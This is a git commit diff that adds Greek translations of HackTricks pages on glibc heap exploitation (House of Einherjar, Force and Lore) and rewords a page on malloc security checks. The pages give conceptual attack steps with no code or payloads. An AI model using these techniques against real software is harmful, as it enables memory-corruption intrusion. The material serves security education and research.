mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
4a6d8d4815
commit
8bb71dccbf
12 changed files with 522 additions and 157 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
||||||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||||
|
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||||
|
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||||
|
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||||
|
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||||
|
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||||
|
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||||
|
|
|
@ -9,14 +9,14 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## unlink
|
## unlink
|
||||||
|
|
||||||
Αυτή η συνάρτηση αφαιρεί ένα κομμάτι από μια διπλά συνδεδεμένη λίστα. Οι κοινοί έλεγχοι εξασφαλίζουν ότι η δομή της συνδεδεμένης λίστας παραμένει συνεκτική κατά την αποσύνδεση των κομματιών.
|
Αυτή η συνάρτηση αφαιρεί ένα κομμάτι από μια λίστα διπλά συνδεδεμένων κομματιών. Οι κοινοί έλεγχοι εξασφαλίζουν ότι η δομή της συνδεδεμένης λίστας παραμένει συνεπής κατά την αποσύνδεση των κομματιών.
|
||||||
|
|
||||||
* **Έλεγχοι Συνέπειας**:
|
* **Έλεγχοι Συνέπειας**:
|
||||||
* Έλεγχος εάν `P->fd->bk == P` και `P->bk->fd == P`.
|
* Έλεγχος εάν `P->fd->bk == P` και `P->bk->fd == P`.
|
||||||
|
@ -30,13 +30,13 @@
|
||||||
* Όταν αφαιρείτε ένα κομμάτι από ένα fastbin, βεβαιωθείτε ότι το μέγεθος του κομματιού βρίσκεται εντός του εύρους του fastbin.
|
* Όταν αφαιρείτε ένα κομμάτι από ένα fastbin, βεβαιωθείτε ότι το μέγεθος του κομματιού βρίσκεται εντός του εύρους του fastbin.
|
||||||
* Μήνυμα σφάλματος: `malloc(): memory corruption (fast)`
|
* Μήνυμα σφάλματος: `malloc(): memory corruption (fast)`
|
||||||
* **Έλεγχος Συνέπειας Smallbin**:
|
* **Έλεγχος Συνέπειας Smallbin**:
|
||||||
* Όταν αφαιρείτε ένα κομμάτι από ένα smallbin, βεβαιωθείτε ότι οι προηγούμενοι και επόμενοι σύνδεσμοι στη διπλά συνδεδεμένη λίστα είναι συνεκτικοί.
|
* Όταν αφαιρείτε ένα κομμάτι από ένα smallbin, βεβαιωθείτε ότι οι προηγούμενοι και επόμενοι σύνδεσμοι στη διπλά συνδεδεμένη λίστα είναι συνεπείς.
|
||||||
* Μήνυμα σφάλματος: `malloc(): smallbin double linked list corrupted`
|
* Μήνυμα σφάλματος: `malloc(): smallbin double linked list corrupted`
|
||||||
* **Έλεγχος Εύρους Μνήμης Unsorted Bin**:
|
* **Έλεγχος Εύρους Μνήμης Unsorted Bin**:
|
||||||
* Βεβαιωθείτε ότι το μέγεθος των κομματιών στο unsorted bin βρίσκεται εντός των ελάχιστων και μέγιστων ορίων.
|
* Βεβαιωθείτε ότι το μέγεθος των κομματιών στο unsorted bin βρίσκεται εντός των ελάχιστων και μέγιστων ορίων.
|
||||||
* Μήνυμα σφάλματος: `malloc(): memory corruption`
|
* Μήνυμα σφάλματος: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||||
* **Έλεγχος Συνέπειας Unsorted Bin (Πρώτο Σενάριο)**:
|
* **Έλεγχος Συνέπειας Unsorted Bin (Πρώτη Σενάριο)**:
|
||||||
* Όταν εισάγετε ένα κομμάτι υπολειμματικής μνήμης στο unsorted bin, ελέγξτε εάν `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
* Όταν εισάγετε ένα υπόλοιπο κομμάτι στο unsorted bin, ελέγξτε εάν `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
|
||||||
* Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks`
|
* Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks`
|
||||||
* **Έλεγχος Συνέπειας Unsorted Bin (Δεύτερο Σενάριο)**:
|
* **Έλεγχος Συνέπειας Unsorted Bin (Δεύτερο Σενάριο)**:
|
||||||
* Ίδιο με τον προηγούμενο έλεγχο, αλλά ενεργοποιείται όταν εισάγετε μετά από διαίρεση ενός γρήγορου ή μικρού κομματιού.
|
* Ίδιο με τον προηγούμενο έλεγχο, αλλά ενεργοποιείται όταν εισάγετε μετά από διαίρεση ενός γρήγορου ή μικρού κομματιού.
|
||||||
|
@ -61,8 +61,8 @@
|
||||||
* **Έλεγχος Συνέπειας Fastbin**:
|
* **Έλεγχος Συνέπειας Fastbin**:
|
||||||
* Όταν εισάγετε σε ένα fastbin, βεβαιωθείτε ότι τα μεγέθη του κομματιού στην κορυφή και του κομματιού που εισάγετε είναι τα ίδια.
|
* Όταν εισάγετε σε ένα fastbin, βεβαιωθείτε ότι τα μεγέθη του κομματιού στην κορυφή και του κομματιού που εισάγετε είναι τα ίδια.
|
||||||
* Μήνυμα σφάλματος: `invalid fastbin entry (free)`
|
* Μήνυμα σφάλματος: `invalid fastbin entry (free)`
|
||||||
* **Έλεγχος Συνέπειας Κορυφής Κομματιού**:
|
* **Έλεγχος Συνέπειας Κορυφαίου Κομματιού**:
|
||||||
* Για κομμάτια που δεν είναι fastbin, βεβαιωθείτε ότι το κομμάτι δεν είναι το ίδιο με το κομμάτι κορυφής.
|
* Για κομμάτια που δεν είναι fastbin, βεβαιωθείτε ότι το κομμάτι δεν είναι το ίδιο με το κορυφαίο κομμάτι.
|
||||||
* Μήνυμα σφάλματος: `double free or corruption (top)`
|
* Μήνυμα σφάλματος: `double free or corruption (top)`
|
||||||
* **Έλεγχοι Ορίων Μνήμης**:
|
* **Έλεγχοι Ορίων Μνήμης**:
|
||||||
* Βεβαιωθείτε ότι το επόμενο κομμάτι μνήμης βρίσκεται εντός των ορίων της αρένας.
|
* Βεβαιωθείτε ότι το επόμενο κομμάτι μνήμης βρίσκεται εντός των ορίων της αρένας.
|
||||||
|
@ -86,7 +86,7 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,61 @@
|
||||||
|
# Σπίτι των Einherjar
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
### Κώδικας
|
||||||
|
|
||||||
|
* Ελέγξτε το παράδειγμα από [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||||
|
|
||||||
|
### Στόχος
|
||||||
|
|
||||||
|
* Ο στόχος είναι η δέσμευση μνήμης σε σχεδόν οποιαδήποτε συγκεκριμένη διεύθυνση.
|
||||||
|
|
||||||
|
### Απαιτήσεις
|
||||||
|
|
||||||
|
* Off by one πάνω από την κεφαλίδα του επόμενου κομματιού για να τροποποιήσετε το προηγούμενο σε χρήση
|
||||||
|
* Να είστε σε θέση να τροποποιήσετε τα δεδομένα `prev_size`, τα οποία αποτελούν μέρος του τρέχοντος κομματιού (στο τέλος)
|
||||||
|
* Διαρροή στο σωρό
|
||||||
|
|
||||||
|
### Επίθεση
|
||||||
|
|
||||||
|
* Δημιουργείται ένα ψεύτικο κομμάτι μέσα σε ένα κομμάτι που ελέγχεται από τον εισβολέα, δείχνοντας με τα `fd` και `bk` στο αρχικό κομμάτι για να παρακάμψει προστασίες
|
||||||
|
* Δημιουργούνται 2 άλλα κομμάτια (`B` και `C`).
|
||||||
|
* Εκμεταλλευόμενοι το off by one στο `B`, το bit `prev in use` καθαρίζεται και τα δεδομένα `prev_size` αντικαθίστανται με τη διαφορά μεταξύ του μέρους όπου δεσμεύεται το κομμάτι `C`, με το ψεύτικο κομμάτι `A` που δημιουργήθηκε πριν.
|
||||||
|
* Αυτό το `prev_size` και το μέγεθος του ψεύτικου κομματιού `A` πρέπει να είναι τα ίδια για να παρακάμψουν τους ελέγχους.
|
||||||
|
* Στη συνέχεια, γεμίζεται το Tcache
|
||||||
|
* Στη συνέχεια, το `C` ελευθερώνεται έτσι ώστε να συγχωνευτεί με το ψεύτικο κομμάτι `A`
|
||||||
|
* Στη συνέχεια, δημιουργείται ένα νέο κομμάτι `D` που θα ξεκινά από το ψεύτικο κομμάτι `A` και θα καλύπτει το κομμάτι `B`
|
||||||
|
* Στη συνέχεια, το `B` ελευθερώνεται και το `fd` του αντικαθίσταται με την επιθυμητή διεύθυνση κάνοντάς το να δείχνει στην επιθυμητή διεύθυνση εκμεταλλευόμενο το κομμάτι `D` που το περιέχει.
|
||||||
|
* Στη συνέχεια, γίνονται 2 mallocs επειδή το δεύτερο θα περιέχει την επιθυμητή διεύθυνση
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
56
binary-exploitation/heap/house-of-force.md
Normal file
56
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,56 @@
|
||||||
|
# House of Force
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
### Κώδικας
|
||||||
|
|
||||||
|
* Αυτή η τεχνική επιδιορθώθηκε ([**εδώ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) και παράγει αυτό το σφάλμα: `malloc(): corrupted top size`
|
||||||
|
|
||||||
|
### Στόχος
|
||||||
|
|
||||||
|
* Ο στόχος αυτής της επίθεσης είναι να είναι δυνατή η δέσμευση ενός κομματιού σε μια συγκεκριμένη διεύθυνση.
|
||||||
|
|
||||||
|
### Απαιτήσεις
|
||||||
|
|
||||||
|
* Ένας υπερχείλισης που επιτρέπει την αντικατάσταση του μεγέθους του κεφαλαίου του κορυφαίου κομματιού (π.χ. -1).
|
||||||
|
* Να είναι δυνατόν να ελέγχεται το μέγεθος της δέσμευσης της στοίβας
|
||||||
|
|
||||||
|
### Επίθεση
|
||||||
|
|
||||||
|
Αν ένας εισβολέας θέλει να έχει ένα κομμάτι στη διεύθυνση P, έχοντας αντικαταστήσει το μέγεθος του κορυφαίου κομματιού με -1, πρώτα απ' όλα χρειάζεται ένα malloc του (\&top\_chunk - P). Σημειώστε ότι αυτό το δείκτης μπορεί να είναι πριν ή μετά το top\_chunk καθώς οποιοδήποτε μέγεθος θα είναι μικρότερο από -1 (0xFFFFFFFFFFFFFFFF). Στη συνέχεια, μετά τη δέσμευση αυτού του αρχικού κομματιού, το κορυφαίο κομμάτι θα μετακινηθεί στην επιθυμητή διεύθυνση P και το επόμενο κομμάτι θα είναι από αυτή τη διεύθυνση.
|
||||||
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
|
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||||
|
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
||||||
|
# House of Lore
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
### Κώδικας
|
||||||
|
|
||||||
|
* Αυτό δεν λειτουργεί
|
||||||
|
* Ελέγξτε αυτόν από [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||||
|
* Ή: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||||
|
|
||||||
|
### Στόχος
|
||||||
|
|
||||||
|
* Εισαγωγή ενός ψεύτικου μικρού κομματιού στο μικρό bin ώστε να είναι δυνατή η εκχώρησή του.
|
||||||
|
|
||||||
|
### Απαιτήσεις
|
||||||
|
|
||||||
|
* Δημιουργία ψεύτικων κομματιών
|
||||||
|
* Γνώση της διεύθυνσης του κομματιού θύματος και των ψεύτικων κομματιών
|
||||||
|
* Να είναι δυνατή η τροποποίηση των δεικτών `bk` και `fd`
|
||||||
|
|
||||||
|
### Επίθεση
|
||||||
|
|
||||||
|
* Ένα μικρό κομμάτι θύματος εκχωρείται
|
||||||
|
* Ένας επιτιθέμενος δημιουργεί μερικά ψεύτικα μικρά κομμάτια και κάνει τον πρώτο ψεύτικο δείκτη `fd` να δείχνει σε ένα πραγματικό κομμάτι και τον `bk` να δείχνει στο δεύτερο ψεύτικο κομμάτι. Επίσης, κάνει τον δεύτερο ψεύτικο δείκτη `bk` να δείχνει στον πρώτο.
|
||||||
|
* Στη συνέχεια, εκχωρείται ένα νέο μεγάλο κομμάτι για να αποτρέψει το πρώτο να συγχωνευτεί στο κορυφαίο κομμάτι όταν απελευθερωθεί
|
||||||
|
* Στη συνέχεια, απελευθερώνεται ο αρχικός δείκτης και εκχωρείται ένας δεύτερος δείκτης μεγαλύτερου μεγέθους ώστε το απελευθερωμένο αρχικό μικρό κομμάτι να τοποθετηθεί στο μικρό bin.
|
||||||
|
* Το πραγματικό μικρό κομμάτι τροποποιείται ϭστε ο δείκτης `bk` να δείχνει στο ψεύτικο κομμάτι.
|
||||||
|
* Στη συνέχεια, όταν εκχωρούνται 2 κομμάτια αυτού του μεγέθους, λαμβάνουν πρώτα το έγκυρο κομμάτι και στη συνέχεια το μη έγκυρο κομμάτι που ελέγχεται κάπως από τον επιτιθέμενο.
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
99
